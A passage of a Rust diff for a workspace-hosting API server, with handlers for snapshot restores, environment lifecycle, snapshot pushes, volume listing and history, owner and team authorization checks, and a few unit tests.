+/// silently dropped request. The caller can retry in a second. +fn not_ready() -> Response { + (StatusCode::CONFLICT, "not ready yet: no volume for this workspace").into_response() +} + +#[derive(serde::Deserialize)] +struct RestoreBody { + name: String, + snapshot_id: String, +} + +/// The owner label a snapshot's volume lives under, the volume, and its record — searched across +/// every owner the caller may read. A miss is 404 for "no such snapshot" and "not yours" alike, the same rule the browse +/// tier keeps one tier down. +/// +/// Resolved against the SERVER tier's history, not a live workspace: restoring is most useful +/// precisely when the original is gone, and requiring `my_ws(src)` first is what made a deleted +/// workspace's snapshots unrestorable. Shared by the workspace and environment restore routes so +/// the two cannot drift on which snapshots a caller may reach. +/// +/// ponytail: serial, one history read per volume until the id is found — an owner with many +/// volumes pays for the ones sorted before theirs. Bound it the way the listing does (buffered 8) +/// if that shows up; the real fix is a snapshot-id -> volume index on the server tier. +async fn find_snapshot( + s: &ApiState, + owner: &str, + snapshot_id: &str, +) -> Result<(String, String, CommitRecord), Response> { + check_path_segment(snapshot_id)?; + let up = upstream(s)?; + for label in caller_owners(s, owner).await { + let Some(rows) = up.volumes(&label, &label).await.map_err(upstream_err)? else { continue }; + for row in rows { + let Some(recs) = up.history(&label, &label, &row.name).await.map_err(upstream_err)? else { continue }; + if let Some(rec) = recs.into_iter().find(|r| r.id == snapshot_id) { + // The LABEL, not the caller: a team's volume lives under the team slug, and the + // agent has to read it from there. Returning only the caller sent it looking under + // a label that has no such volume. + return Ok((label, row.name, rec)); + } + } + } + Err(not_found()) +} + +/// New workspace grafted onto an explicit, possibly-older snapshot — a PUSHED commit, which is +/// what makes this different from `clone` (always a copy of the current state). +/// +/// The snapshot is resolved against the SERVER tier's history, not a live workspace: restoring is +/// most useful precisely when the original is gone, and requiring `my_ws(src)` first is what made +/// a deleted workspace's snapshots unrestorable. +async fn restore_ws( + State(s): State>, + headers: axum::http::HeaderMap, + Json(body): Json, +) -> Result { + let owner = caller(&s, &headers).await?; + let c = kube(&s)?; + check_ws_name(&body.name)?; + let (src_owner, volume, record) = find_snapshot(&s, &owner, &body.snapshot_id).await?; + + // A live source still knows its own size and settings; a deleted one gets the standard quota. + let src = my_ws(&s, &owner, &volume).await.ok(); + let quota = match &src { + Some(w) => storage_quota(c, &w.spec.storage, &volume).await, + // A deleted source cannot be asked its size, and nothing user-facing offers to name one: + // someone recovering a lost workspace is not sizing a disk. The standard quota, which is + // also what `create` sends by default. + None => FALLBACK_QUOTA_GB, + }; + let new_id = rid("ws"); + let w = create_workspace( + c, + &new_id, + crd::WorkspaceSpec { + owner, + team: src.as_ref().map(|w| w.spec.team.clone()).unwrap_or_default(), + name: body.name, + // The record knows where its bytes are; a deleted workspace cannot be asked. + region: src.as_ref().map(|w| w.spec.region.clone()).unwrap_or_else(|| record.region.clone()), + image: src.as_ref().map(|w| w.spec.image.clone()).unwrap_or_else(default_ws_image), + storage: Some(crd::WorkspaceStorage { + quota_gb: quota, + source: Some(VolumeSource::RestoreOf { + volume, + snapshot_id: body.snapshot_id, + // The label the volume was FOUND under, which for a workspace is always the + // person's own — set anyway, so the agent never has to assume. + owner: Some(src_owner), + // The RECORD's region, not the new workspace's: the bytes are wherever they + // were pushed, and the node that materializes them has to be told which + // container to read. A k3s agent cannot see a VM region's blobs otherwise, and + // the fetch that cannot see them never returned an error. + region: Some(record.region.clone()), + }), + }), + desired_state: DesiredState::Running, + restore: None, + resources: Default::default(), + node_name: None, + volume_ref: None, + packages: vec![], + }, + ) + .await?; + Ok((StatusCode::ACCEPTED, Json(ws_doc(&w, &HashSet::new()))).into_response()) +} + +// ── environments ───────────────────────────────────────────────────────── + +#[derive(serde::Deserialize)] +struct NewEnvironment { + name: String, + region: String, + #[serde(default)] + services: Vec, + /// A team slug — makes this a team-owned environment, run on the team's bound node. + /// `None`/equal to the caller means an ordinary personal environment. + #[serde(default)] + owner: Option, + /// An environment's subvolume holds every service's data. Defaults to the same 20 GB the web + /// app sends for a workspace. + #[serde(default = "default_env_quota")] + quota_gb: u64, +} + +fn default_env_quota() -> u64 { + 20 +} + +/// Resolve `NewEnvironment.owner` against the caller: personal (`None` or `caller`) always +/// passes; a different owner must be a team the caller belongs to, which needs a directory — +/// 503 rather than silently creating an environment nobody but this caller can ever see again. +async fn resolve_new_owner(s: &ApiState, caller: &str, owner: Option) -> Result { + let Some(owner) = owner else { return Ok(caller.to_string()) }; + if owner == caller { + return Ok(owner); + } + match &s.membership { + None => Err((StatusCode::SERVICE_UNAVAILABLE, "team lookup not configured on this node").into_response()), + Some(_) if may_act_on(s, caller, &owner).await => Ok(owner), + Some(_) => Err((StatusCode::FORBIDDEN, "not a member of that team").into_response()), + } +} + +/// Finds an environment by id and authorizes the caller against its owner: their own always +/// passes, a team's passes when they are a member. An environment they may not act on is a 404, +/// never a 403 — the caller learns nothing about environments that are not theirs. +async fn find_env(s: &ApiState, caller: &str, id: &str) -> Result { + let api: Api = Api::all(kube(s)?.clone()); + let e = api.get_opt(id).await.map_err(kube_err)?.ok_or_else(not_found)?; + if !may_act_on(s, caller, &e.spec.owner).await { + return Err(not_found()); + } + Ok(e) +} + +/// The trust boundary for services: create and restore are the only routes that accept +/// caller-authored ones (`clone_env` copies an already-validated doc, and nothing updates services +/// in place), so a mount that gets past here is treated as trusted by a root agent from then on — +/// and a name that gets past here is what the controller applies, every requeue, forever. +fn check_services(services: &[Service]) -> Result<(), Response> { + crate::model::validate_services(services).map_err(|e| (StatusCode::BAD_REQUEST, e).into_response()) +} + +/// The one place an `Environment` is written; `create_workspace`'s twin. +async fn create_environment( + c: &kube::Client, + id: &str, + spec: crd::EnvironmentSpec, +) -> Result { + let l = labels(&spec.owner, "environment"); + let mut e = crd::Environment::new(id, spec); + e.metadata.labels = Some(l); + let api: Api = Api::all(c.clone()); + api.create(&PostParams::default(), &e).await.map_err(kube_err) +} + +async fn create_env( + State(s): State>, + headers: axum::http::HeaderMap, + Json(body): Json, +) -> Result { + let caller_id = caller(&s, &headers).await?; + // Mounts name volumes (folders inside the env's own subvolume), not workspaces. The name is + // joined onto the env's subvolume by a root agent, so it is a security boundary, not a + // formality — see `validate_mount`. Checked before anything is written, deliberately. + check_services(&body.services)?; + check_ws_name(&body.name)?; + check_region(&s, &body.region).await?; + let owner = resolve_new_owner(&s, &caller_id, body.owner).await?; + let c = kube(&s)?; + let id = rid("env"); + let e = create_environment( + c, + &id, + crd::EnvironmentSpec { + owner, + name: body.name, + region: body.region, + services: body.services, + storage: Some(crd::WorkspaceStorage { quota_gb: clamp_quota(body.quota_gb), source: None }), + desired_state: DesiredState::Running, + restore: None, + node_name: None, + volume_ref: None, + }, + ) + .await?; + Ok((StatusCode::ACCEPTED, Json(env_doc(&e, &HashSet::new()))).into_response()) +} + +#[derive(serde::Deserialize)] +struct RestoreEnvBody { + name: String, + snapshot_id: String, + /// A team slug, resolved exactly as `NewEnvironment.owner` is — restoring a team's snapshot + /// must produce a TEAM environment, or the restored copy is invisible to everyone but the + /// person who clicked. + #[serde(default)] + owner: Option, + /// Validated exactly as `create_env`'s are — `check_services` is the trust boundary for mounts + /// and a restore is just as much a caller-authored service list as a create is. + #[serde(default)] + services: Vec, + /// The region to RUN in. Where the snapshot's bytes live is the record's business, not this + /// field's — that goes on the volume source. + #[serde(default)] + region: Option, + #[serde(default = "default_env_quota")] + quota_gb: u64, +} + +/// New environment grafted onto an explicit past snapshot — `restore_ws`'s twin, resolving the +/// snapshot the same way (server-tier history, caller/team scoping) and differing only in which +/// kind of object it writes. The agent needs no new path: `resolve_volume` already materializes a +/// `restoreOf` source for an Environment. +/// +/// The services are the caller's, because a snapshot does not record them: the commit record +/// carries provenance (what the volume was OF), not a compose file. Restoring with none is legal +/// and gives back the DATA — which is the thing that could not be reconstructed. +async fn restore_env( + State(s): State>, + headers: axum::http::HeaderMap, + Json(body): Json, +) -> Result { + let caller_id = caller(&s, &headers).await?; + check_services(&body.services)?; + // Named before anything is written, like `create_env`'s: an environment with no name is a row + // nobody can tell apart from another. + check_ws_name(&body.name)?; + // The record's own region needs no check — it was checked when the environment was created, + // and it is the one region guaranteed to hold these bytes. A caller's choice is checked like + // a create's. + if let Some(r) = &body.region { + check_region(&s, r).await?; + } + let (src_owner, volume, record) = find_snapshot(&s, &caller_id, &body.snapshot_id).await?; + // Defaults to the label the snapshot was FOUND under, not the caller: restoring a team's + // environment produces a team environment without the client having to say so. Any OTHER + // owner is refused even when the caller is a member of it: a snapshot found under team A is + // A's data, and a restore into team B would carry it past A's membership boundary to everyone + // in B. The caller's own account is the one legitimate elsewhere — their own copy. + if body.owner.as_deref().is_some_and(|o| o != src_owner && o != caller_id) { + return Err((StatusCode::FORBIDDEN, "a snapshot restores under its own owner, or under you").into_response()); + } + let owner = resolve_new_owner(&s, &caller_id, body.owner.or(Some(src_owner.clone()))).await?; + // The record's own services, when the caller named none: an environment's push writes them into + // its provenance precisely so a restore of a DELETED environment can bring it back running. A + // caller-supplied list wins (and is validated above); a record without one restores the data + // and no services, which the UI says out loud. + let services = match body.services.is_empty() { + false => body.services, + true => crate::upstream::Provenance::of(&record.state).services.unwrap_or_default(), + }; + let c = kube(&s)?; + let id = rid("env"); + let e = create_environment( + c, + &id, + crd::EnvironmentSpec { + owner, + name: body.name, + // Unspecified means "where the bytes already are", which is the one region guaranteed + // to exist for this snapshot. + region: body.region.unwrap_or_else(|| record.region.clone()), + services, + storage: Some(crd::WorkspaceStorage { + quota_gb: clamp_quota(body.quota_gb), + source: Some(VolumeSource::RestoreOf { + volume, + snapshot_id: body.snapshot_id, + owner: Some(src_owner), + region: Some(record.region.clone()), + }), + }), + desired_state: DesiredState::Running, + restore: None, + node_name: None, + volume_ref: None, + }, + ) + .await?; + Ok((StatusCode::ACCEPTED, Json(env_doc(&e, &HashSet::new()))).into_response()) +} + +#[derive(serde::Deserialize)] +struct ListEnvQuery { + /// Filter to one owner (a username or a team slug) — what the web app's `/{owner}/environments` + /// page passes so a team page shows only that team's environments, not the caller's personal + /// ones mixed in. Validated the same way `create_env`'s team owner is: caller must be that + /// owner, or a member of it. + #[serde(default)] + owner: Option, +} + +async fn list_env( + State(s): State>, + headers: axum::http::HeaderMap, + Query(q): Query, +) -> Result { + let caller_id = caller(&s, &headers).await?; + let owners: Vec = match q.owner { + Some(o) if may_act_on(&s, &caller_id, &o).await => vec![o], + Some(_) => return Err(not_found()), + None => { + let mut owners = vec![caller_id.clone()]; + owners.extend(teams_for(&s, &caller_id).await); + owners + } + }; + let c = kube(&s)?; + let api: Api = Api::all(c.clone()); + let mut list = vec![]; + for owner in owners { + let pushed = pushed_volumes(c, &owner).await?; + for e in api.list(&owned_by(&owner)).await.map_err(kube_err)?.items { + list.push(env_doc(&e, &pushed)); + } + } + Ok(Json(list).into_response()) +} + +async fn get_env( + State(s): State>, + headers: axum::http::HeaderMap, + Path(id): Path, +) -> Result { + let caller_id = caller(&s, &headers).await?; + let e = find_env(&s, &caller_id, &id).await?; + let c = kube(&s)?; + let pushed = pushed_volumes(c, &e.spec.owner).await?; + let mut doc = env_doc(&e, &pushed); + // Which snapshot is CURRENT is the Volume's answer, not the history's: an in-place restore + // makes an OLDER record the live one, and a page that assumed "newest = current" would then + // offer to restore the snapshot the disk is already on. + if let Some(v) = env_volume(&e) { + let vols: Api = Api::all(c.clone()); + if let Some(st) = vols.get_opt(v).await.map_err(kube_err)?.and_then(|v| v.status) { + doc.restored_to = st.restored_to; + doc.restore_requested_at = st.restore_requested_at; + } + } + Ok(Json(doc).into_response()) +} + +async fn start_env( + State(s): State>, + headers: axum::http::HeaderMap, + Path(id): Path, +) -> Result { + let caller_id = caller(&s, &headers).await?; + let e = find_env(&s, &caller_id, &id).await?; + set_desired::(kube(&s)?, &id, DesiredState::Running).await?; + Ok((StatusCode::ACCEPTED, Json(env_doc(&e, &HashSet::new()))).into_response()) +} + +async fn stop_env( + State(s): State>, + headers: axum::http::HeaderMap, + Path(id): Path, +) -> Result { + let caller_id = caller(&s, &headers).await?; + let e = find_env(&s, &caller_id, &id).await?; + set_desired::(kube(&s)?, &id, DesiredState::Stopped).await?; + let mut doc = env_doc(&e, &HashSet::new()); + doc.state = EnvState::Stopped; + Ok((StatusCode::ACCEPTED, Json(doc)).into_response()) +} + +async fn delete_env( + State(s): State>, + headers: axum::http::HeaderMap, + Path(id): Path, +) -> Result { + let caller_id = caller(&s, &headers).await?; + let e = find_env(&s, &caller_id, &id).await?; + let c = kube(&s)?; + let envs: Api = Api::all(c.clone()); + envs.delete(&id, &DeleteParams::default()).await.map_err(kube_err)?; + let mut doc = env_doc(&e, &HashSet::new()); + doc.state = EnvState::Deleted; + Ok((StatusCode::ACCEPTED, Json(doc)).into_response()) +} + +/// Env's local-copy route. Names no node, for the same reason `clone_ws` does not, and the +/// source's already-validated services carry over untouched. +async fn clone_env( + State(s): State>, + headers: axum::http::HeaderMap, + Path(id): Path, + Json(body): Json, +) -> Result { + let caller_id = caller(&s, &headers).await?; + let src = find_env(&s, &caller_id, &id).await?; + let c = kube(&s)?; + let new_id = rid("env"); + let volume = env_volume(&src).ok_or_else(not_ready)?.to_string(); + let quota = storage_quota(c, &src.spec.storage, &volume).await; + let e = create_environment( + c, + &new_id, + crd::EnvironmentSpec { + owner: src.spec.owner.clone(), + name: body.name, + region: src.spec.region.clone(), + services: src.spec.services.clone(), + storage: Some(crd::WorkspaceStorage { + quota_gb: quota, + source: Some(VolumeSource::CloneOf { volume }), + }), + desired_state: DesiredState::Running, + restore: None, + node_name: None, + volume_ref: None, + }, + ) + .await?; + Ok((StatusCode::ACCEPTED, Json(env_doc(&e, &HashSet::new()))).into_response()) +} + +// ── push ───────────────────────────────────────────────────────────────── + +#[derive(serde::Deserialize, Default)] +struct PushBody { + message: Option, +} + +/// The push body is optional (`{message?}`), and axum's `Json` extractor 415s a request +/// with no body/content-type at all rather than treating it as absent — so the message is read +/// as raw bytes and parsed only when present, same forgiving shape a curl with no `-d` expects. +async fn optional_push_message(body: axum::body::Bytes) -> Result, Response> { + if body.is_empty() { + return Ok(None); + } + let parsed: PushBody = serde_json::from_slice(&body) + .map_err(|_| (StatusCode::BAD_REQUEST, "invalid push body").into_response())?; + Ok(parsed.message) +} + +/// A push is an OBJECT, not an annotation: a wish with an OUTCOME needs somewhere to put the +/// outcome, which is what the annotation this replaces did not have. +/// +/// The spec is `{volume, message?}` and nothing else. A node is a controller-owned fact: copying it +/// here would go stale the moment node retirement moved the Volume. The agent resolves the node +/// from the named Volume — every agent watches every request and acts only on its own. +/// +/// The Volume still has to EXIST, though: a push against a workspace whose disk has not been made +/// yet is a 409 the user can act on, not a request that sits pending forever. +async fn request_snapshot( + c: &kube::Client, + volume: Option<&str>, + message: Option, +) -> Result { + let Some(volume) = volume else { return Err(not_ready()) }; + let vols: Api = Api::all(c.clone()); + // The owner comes off the Volume, never off the caller: `spec.owner` is the truth and the + // request's label is only a view of it. + let Some(owner) = vols.get_opt(volume).await.map_err(kube_err)?.map(|v| v.spec.owner) else { + return Err(not_ready()); + }; + let name = rid("snap"); + let req = crd::snapshot_request(&name, &owner, volume, message); + let api: Api = Api::all(c.clone()); + api.create(&PostParams::default(), &req).await.map_err(kube_err)?; + // The name, so a client can follow ONE push instead of polling the volume's whole history. + Ok((StatusCode::ACCEPTED, Json(serde_json::json!({"id": name}))).into_response()) +} + +async fn push_ws( + State(s): State>, + headers: axum::http::HeaderMap, + Path(id): Path, + body: axum::body::Bytes, +) -> Result { + let owner = caller(&s, &headers).await?; + let w = my_ws(&s, &owner, &id).await?; + let msg = optional_push_message(body).await?; + request_snapshot(kube(&s)?, ws_volume(&w), msg).await +} + +async fn push_env( + State(s): State>, + headers: axum::http::HeaderMap, + Path(id): Path, + body: axum::body::Bytes, +) -> Result { + let caller_id = caller(&s, &headers).await?; + let e = find_env(&s, &caller_id, &id).await?; + let msg = optional_push_message(body).await?; + request_snapshot(kube(&s)?, env_volume(&e), msg).await +} + +#[derive(serde::Deserialize)] +struct RestoreInPlaceBody { + snapshot_id: String, +} + +/// Put a past snapshot back into THIS environment's own disk, rather than into a new one. +/// +/// The API writes a wish and answers; the controllers do the work (scale the services down, swap +/// the subvolume, scale back up), which is why this is a 202 with no result to read. Everything +/// that could go wrong lives in the Environment's `Restoring` condition and the Volume's `Ready`. +/// +/// The snapshot is resolved exactly as `restore_env`'s is — same `find_snapshot`, same caller/team +/// scoping — so "restore in place" can reach precisely the snapshots "restore into a new +/// environment" can, and a 404 still means "no such snapshot" and "not yours" alike. +async fn restore_env_in_place( + State(s): State>, + headers: axum::http::HeaderMap, + Path(id): Path, + Json(body): Json, +) -> Result { + let caller_id = caller(&s, &headers).await?; + let e = find_env(&s, &caller_id, &id).await?; + let (src_owner, volume, record) = find_snapshot(&s, &caller_id, &body.snapshot_id).await?; + let wish = crd::RestoreWish { + snapshot_id: body.snapshot_id, + volume, + owner: Some(src_owner), + region: Some(record.region.clone()), + // What makes a repeat of the SAME snapshot a new wish: the controllers compare the id + // against what is already live, so without this a second attempt after a failure would + // look like a restore that had already happened. + requested_at: chrono::Utc::now().to_rfc3339(), + }; + // A merge patch: this touches one field of a spec the caller never sent the rest of. + let api: Api = Api::all(kube(&s)?.clone()); + api.patch(&id, &PatchParams::default(), &Patch::Merge(&serde_json::json!({"spec": {"restore": wish}}))) + .await + .map_err(kube_err)?; + let mut doc = env_doc(&e, &HashSet::new()); + // The wish is written, so the answer says so: the reconciler's own condition takes a moment to + // appear, and a body that still reads "running" makes the click look like it did nothing. + doc.restoring = Some("Requested".into()); + Ok((StatusCode::ACCEPTED, Json(doc)).into_response()) +} + +// ── volumes ────────────────────────────────────────────────────────────── +// +// A snapshot is a point in time and outlives the workspace it was taken of, so none of these reads +// may hang off a live Workspace/Environment. The index and the records both live on the SERVER +// tier (`vol/{owner}/{name}`); the cluster is consulted only to answer "is the parent still +// around?", which is a display detail, never an authorization one. `SnapshotRequest` is the push +// WORK ITEM and nothing here reads it — a request that has been garbage-collected costs nothing. + +#[derive(serde::Serialize)] +struct VolumeSummary { + /// Registry name — the ws/env id, matching the `{owner}/{name}` the vol-agent surface and + /// `RegistryClient` already key on. + name: String, + kind: String, + /// `None` until the workspace/environment's first push writes a volume pointer. Always set + /// now that this listing IS the pushed set, and kept because the web reads it. + volume: Option, + /// What the source was called, from the newest record's provenance; the volume id when a + /// record carries none (anything pushed before provenance existed). + display_name: String, + /// The workspace/environment is gone. The snapshots are not, and this listing is the only way + /// back to them. + deleted: bool, + /// Epoch millis of the volume's last write. Approximate by construction — see the + /// `volumes` handler on the server tier. + latest_ms: Option, +} + +fn upstream(s: &ApiState) -> Result<&Arc, Response> { + s.upstream + .as_ref() + .ok_or_else(|| (StatusCode::SERVICE_UNAVAILABLE, "registry upstream not configured").into_response()) +} + +fn upstream_err(e: String) -> Response { + tracing::error!(error = %e, "volume upstream"); + (StatusCode::BAD_GATEWAY, "registry unavailable").into_response() +} + +/// Every owner label the caller may read volumes under: themselves, plus each team they belong to +/// (team-owned environments). Membership is verified HERE — the server tier trusts whatever owner +/// this tier names in `OWNER_HEADER`, so an unverified value would be a data leak. +async fn caller_owners(s: &ApiState, owner: &str) -> Vec { + let mut v = vec![owner.to_string()]; + v.extend(teams_for(s, owner).await); + v +} + +/// The live parents, by volume id, with the kind they are. One list call per kind, never one per +/// row — and used ONLY for `deleted` and as a provenance fallback. +/// +/// `None` means the cluster could not be asked, which is NOT the same as "nothing is alive": the +/// difference decides whether every row on the page is labelled "source deleted" during a kube +/// blip. The caller keeps `deleted: false` on `None` — the snapshots are what the page is for, and +/// they are all still there. +async fn live_parents(s: &ApiState, owner: &str, owners: &[String]) -> Option> { + let c = s.kube.as_ref()?; + let mut live = BTreeMap::new(); + let ws: Api = Api::all(c.clone()); + for w in ws.list(&owned_by(owner)).await.ok()?.items { + live.insert(w.name_any(), ("workspace".to_string(), w.spec.name.clone())); + } + let envs: Api = Api::all(c.clone()); + let lp = ListParams::default().labels(&format!("{OWNER_LABEL} in ({})", owners.join(","))); + for e in envs.list(&lp).await.ok()?.items { + live.insert(e.name_any(), ("environment".to_string(), e.spec.name.clone())); + } + Some(live) +} + +/// What a volume is, when nothing named it: no live parent, and a record written before provenance +/// existed (or backfilled). The ID PREFIX is authoritative — `rid("ws")` and `rid("env")` mint +/// every id there is, so an `env-` volume is an environment, full stop. Defaulting the whole class +/// to "workspace" filed every deleted environment's snapshots under the wrong heading. +fn kind_of(volume_id: &str) -> String { + match volume_id.split_once('-').map(|(p, _)| p) { + Some("env") => "environment", + // `ws-`, and anything a future prefix has not taught this yet: a workspace is the common + // case and the one a restore produces by default. + _ => "workspace", + } + .to_string() +} + +#[derive(serde::Deserialize)] +struct ListVolQuery { + /// `workspace` or `environment`. The Environments page passes `environment` to find its + /// archived rows; a workspace's snapshots are that one person's undo history and are reached + /// only from their own workspace row. + #[serde(default)] + kind: Option, + /// One owner label — a username or a team slug. Same rule and same reason as `ListEnvQuery`'s: + /// a team's page must show that team's archived rows, not the caller's personal ones mixed in. + #[serde(default)] + owner: Option, +} + +async fn list_volumes( + State(s): State>, + headers: axum::http::HeaderMap, + Query(q): Query, +) -> Result { + let caller_id = caller(&s, &headers).await?; + let up = upstream(&s)?; + let owners = match &q.owner { + Some(o) if may_act_on(&s, &caller_id, o).await => vec![o.clone()], + Some(_) => return Err(not_found()), + None => caller_owners(&s, &caller_id).await, + }; + + // The cluster answers only "does a parent still exist", so a kube outage degrades the page to + // bare ids rather than emptying it — the snapshots themselves do not live there. `None` is an + // unanswered question, never an answer of "nothing": labelling every row "source deleted" + // during a blip, and then fanning out a history read per row to name them, is the failure mode + // this distinction exists to prevent. + // `owners[0]` rather than the caller: with an `owner` filter this is the team being listed, and + // asking for the caller's own workspaces would name rows that are not on this page. + let live = live_parents(&s, owners.first().map(String::as_str).unwrap_or(&caller_id), &owners).await; + let known = live.is_some(); + let live = live.unwrap_or_default(); + + let mut out: Vec = vec![]; + for owner in &owners { + let Some(rows) = up.volumes(owner, owner).await.map_err(upstream_err)? else { continue }; + for row in rows { + let parent = live.get(&row.name); + out.push(VolumeSummary { + kind: parent.map(|(k, _)| k.clone()).unwrap_or_default(), + display_name: parent.map(|(_, n)| n.clone()).unwrap_or_default(), + deleted: known && parent.is_none(), + volume: Some(format!("vol/{owner}/{}", row.name)), + latest_ms: row.latest_ms, + name: row.name, + }); + } + } + + // Provenance for the rows a live parent could not name — the deleted ones, which is exactly the + // case this whole listing exists for. One history read each, and only for those. + // ponytail: N reads for N deleted volumes, bounded at 8 in flight. The upgrade is provenance in + // the listing itself, which needs a per-push marker under `index/` since the listing handler + // may never open a volume database. + let jobs: Vec<(String, String, bool)> = out + .iter() + .map(|v| { + let owner = v.volume.as_deref().unwrap_or_default().split('/').nth(1).unwrap_or_default().to_string(); + (owner, v.name.clone(), v.deleted) + }) + .collect(); + // `Some(None)` is a deleted volume whose history came back EMPTY: a database that exists + // because something opened it (an aborted first push, a probe) but never received a commit. + // It has no snapshot to show or restore, so it is dropped from the listing rather than + // shown as a ghost "source deleted" row with nothing behind it. + let named: Vec>> = futures::stream::iter(jobs) + .map(|(owner, name, deleted)| { + let up = up.clone(); + async move { + if !deleted { + return None; + } + let recs = up.history(&owner, &owner, &name).await.ok()??; + Some(recs.first().map(|r| crate::upstream::Provenance::of(&r.state))) + } + }) + .buffered(8) + .collect() + .await; + + let mut keep = Vec::with_capacity(out.len()); + for (mut v, p) in out.into_iter().zip(named) { + if let Some(None) = p { + continue; + } + if let Some(Some(p)) = p { + if let Some(k) = p.kind { + v.kind = k; + } + if let Some(n) = p.name { + v.display_name = n; + } + } + if v.kind.is_empty() { + v.kind = kind_of(&v.name); + } + if v.display_name.is_empty() { + v.display_name = v.name.clone(); + } + keep.push(v); + } + // Filtered here, after provenance and the id-prefix fallback have decided what each row IS — + // filtering earlier would drop rows on the empty kind they start with. + if let Some(kind) = &q.kind { + keep.retain(|v| &v.kind == kind); + } + keep.sort_by(|a, b| a.name.cmp(&b.name)); + Ok(Json(keep).into_response()) +} + +/// A volume name or snapshot id from the URL is spliced into a PEER url by `Upstream`, so a +/// `..` or an encoded slash would re-route the request to any browse route under the caller's +/// own owner. The same rule the create path applies to the names it mints. +fn check_path_segment(s: &str) -> Result<(), Response> { + match rustic_git_storage::store::valid_segment(s) { + true => Ok(()), + false => Err((StatusCode::BAD_REQUEST, "invalid name").into_response()), + } +} + +/// The owner label a volume is readable under, or 404. Ownership is the SERVER tier's answer: it +/// refuses a volume that is not the named owner's, and this tier only decides which owners the +/// caller may ask as. No live parent is required — that is the whole fix. +async fn volume_owner(s: &ApiState, caller_id: &str, name: &str) -> Result<(String, Vec), Response> { + check_path_segment(name)?; + let up = upstream(s)?; + for owner in caller_owners(s, caller_id).await { + if let Some(recs) = up.history(&owner, &owner, name).await.map_err(upstream_err)? { + if !recs.is_empty() { + return Ok((owner, recs)); + } + } + } + Err(not_found()) +} + +/// `DELETE /v1/volumes/{name}` — drop a volume's snapshots. What the environment Delete dialog +/// calls when "Also delete its snapshots" is checked, and what an archived row's "Delete +/// snapshots" calls on its own. +/// +/// Scoped exactly like `history`: `volume_owner` decides which owner label the caller may read it +/// under, and a volume that is not theirs is a 404 rather than a 403 — they learn nothing about +/// volumes that are not theirs. +async fn delete_volume( + State(s): State>, + headers: axum::http::HeaderMap, + Path(name): Path, +) -> Result { + let caller_id = caller(&s, &headers).await?; + let (owner, _) = volume_owner(&s, &caller_id, &name).await?; + match upstream(&s)?.delete_volume(&owner, &owner, &name).await.map_err(upstream_err)? { + true => Ok(StatusCode::NO_CONTENT.into_response()), + false => Err(not_found()), + } +} + +/// `DELETE /v1/volumes/{name}/snapshots/{snapshot}` — drop ONE snapshot record from the lineage. +/// +/// Scoped exactly like `history`, and 404 for the same two cases the server tier collapses: a +/// volume the caller may not read, and a snapshot id that is not in it. +async fn delete_snapshot( + State(s): State>, + headers: axum::http::HeaderMap, + Path((name, snapshot)): Path<(String, String)>, +) -> Result { + let caller_id = caller(&s, &headers).await?; + check_path_segment(&snapshot)?; + let (owner, _) = volume_owner(&s, &caller_id, &name).await?; + match upstream(&s)?.delete_snapshot(&owner, &owner, &name, &snapshot).await.map_err(upstream_err)? { + true => Ok(StatusCode::NO_CONTENT.into_response()), + false => Err(not_found()), + } +} + +async fn volume_history( + State(s): State>, + headers: axum::http::HeaderMap, + Path(name): Path, +) -> Result { + let caller_id = caller(&s, &headers).await?; + let (_, records) = volume_owner(&s, &caller_id, &name).await?; + // A record carries its whole blob chain and never names another record, so "parent" is + // derived: the record whose chain is this one's chain minus its last blob. An in-place restore + // followed by a push grafts onto the RESTORED record, which is what makes the history a tree + // rather than a list — and the page can only draw the branch if the row says where it forks. + fn chain(r: &crate::registry::CommitRecord) -> Vec<&str> { + r.lineage.iter().map(|e| e.blob.as_str()).collect() + } + let rows: Vec = records + .iter() + .map(|r| { + let mine = chain(r); + let parent = records + .iter() + .find(|p| p.id != r.id && chain(p) == mine[..mine.len().saturating_sub(1)]) + .map(|p| p.id.clone()); + let mut v = serde_json::to_value(r).unwrap_or_default(); + v["parent"] = serde_json::json!(parent); + v + }) + .collect(); + Ok(Json(rows).into_response()) +} + +/// There is exactly one ref per volume ("main") and its value is always the newest snapshot — the +/// same "first = tip" convention `engine::ops` relies on. +async fn volume_refs( + State(s): State>, + headers: axum::http::HeaderMap, + Path(name): Path, +) -> Result { + let caller_id = caller(&s, &headers).await?; + let (_, records) = volume_owner(&s, &caller_id, &name).await?; + let tip = records.first().map(|r| r.id.clone()); + Ok(Json(serde_json::json!({crate::registry_client::MAIN_REF: tip})).into_response()) +} + +#[cfg(test)] +mod tests { + use super::{check_services, ws_doc}; + use crate::crd; + use crate::model::{Mount, Service}; + + fn ws_fixture() -> crd::Workspace { + crd::Workspace::new( + "ws-1", + crd::WorkspaceSpec { + owner: "karthik".into(), + team: String::new(), + name: "web".into(), + region: "centralindia".into(), + image: crate::model::default_ws_image(), + storage: None, + desired_state: crd::DesiredState::Running, + restore: None, + resources: Default::default(), + node_name: None, + volume_ref: None, + packages: vec![], + }, + ) + } + + /// A team namespace is `wt-{owner}-{hash}` (and a long personal one is DNS-hashed), so it is + /// exactly the case the old `ends_with("-{owner}")` heuristic dropped — and dropping it meant + /// an ssh key add never reached that team's workspaces. + #[tokio::test] + async fn a_dns_truncated_team_namespace_is_still_the_owners() { + use super::{owners_namespaces, ApiState, MembershipCheck}; + use std::sync::Arc; + + let long = "a".repeat(60); + struct Stub(String); + #[async_trait::async_trait] + impl MembershipCheck for Stub { + async fn teams_for(&self, _user: &str) -> Vec { + vec![self.0.clone()] + } + } + let state = ApiState::new( + Arc::new(crate::store::MemStore::new()), + Arc::new(rustic_git_core::jwt::Jwt::new("test-secret-at-least-32-bytes-long!!").unwrap()), + Default::default(), + ) + .with_membership(Arc::new(Stub(long.clone()))); + + let ns = crd::ws_namespace("karthik", &long); + assert!(ns.len() <= 63 && !ns.ends_with("-karthik"), "this team must be hashed: {ns}"); + let mine = owners_namespaces(&state, "karthik").await; + assert!(mine.contains(&ns), "{ns} must be recognised as karthik's"); + assert!(mine.contains(&crd::ws_namespace("karthik", ""))); + assert!(!mine.contains(&crd::ws_namespace("someone-else", ""))); + } + + #[test] + fn a_workspace_doc_shows_the_spec_and_the_condition() { + let mut w = ws_fixture(); + w.spec.packages = vec!["go".into()]; + w.status = Some(crd::WorkspaceStatus { + conditions: vec![crd::condition( + crd::PACKAGES_READY, + false, + "BuildFailed", + "error: attribute 'jq2' missing", + 3, + )], + ..Default::default() + }); + let d = ws_doc(&w, &Default::default()); + assert_eq!(d.packages, ["go"]); + let ps = d.packages_status.unwrap(); + assert!(!ps.ready); + assert_eq!(ps.reason, "BuildFailed"); + assert!(ps.message.contains("jq2")); + } + + fn 